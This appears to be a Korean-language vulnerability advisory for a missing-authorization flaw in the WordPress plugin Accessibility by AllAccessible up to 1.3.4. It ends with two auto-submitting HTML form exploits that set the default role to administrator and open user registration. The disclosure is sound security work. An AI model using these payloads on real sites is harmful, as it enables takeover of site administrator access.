
Accessibility by AllAccessible <= 1.3.4 - 인증된(구독자+) 사용자에 대한 인증 누락으로 인한 임의 옵션 업데이트
Accessibility by AllAccessible <= 1.3.4 - 인증된 사용자(구독자+)의 임의 옵션 업데이트를 허용하는 권한 누락
WordPress용 Accessibility by AllAccessible 플러그인은 1.3.4 버전까지 'AllAccessible_save_settings' 함수에 대한 권한 확인 누락으로 인해 데이터의 무단 수정이 가능하며, 이는 권한 상승으로 이어질 수 있습니다. 이로 인해 구독자 수준 이상의 접근 권한을 가진 인증된 공격자가 WordPress 사이트의 임의 옵션을 업데이트할 수 있습니다. 이를 악용하여 등록 기본 역할을 관리자로 변경하고 사용자 등록을 활성화하여 취약한 사이트에 대한 관리자 사용자 접근 권한을 얻을 수 있습니다.
구독자로 로그인한 후 아래 양식을 사용하여 기본 역할을 관리자로 설정하고, 두 번째 양식으로 사용자가 등록할 수 있도록 합니다.
<html>
<body>
<form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="AllAccessible_save_settings" />
<input type="hidden" name="opt_name" value="default_role" />
<input type="hidden" name="opt_value" value="administrator" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<html>
<body>
<form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="AllAccessible_save_settings" />
<input type="hidden" name="opt_name" value="users_can_register" />
<input type="hidden" name="opt_value" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>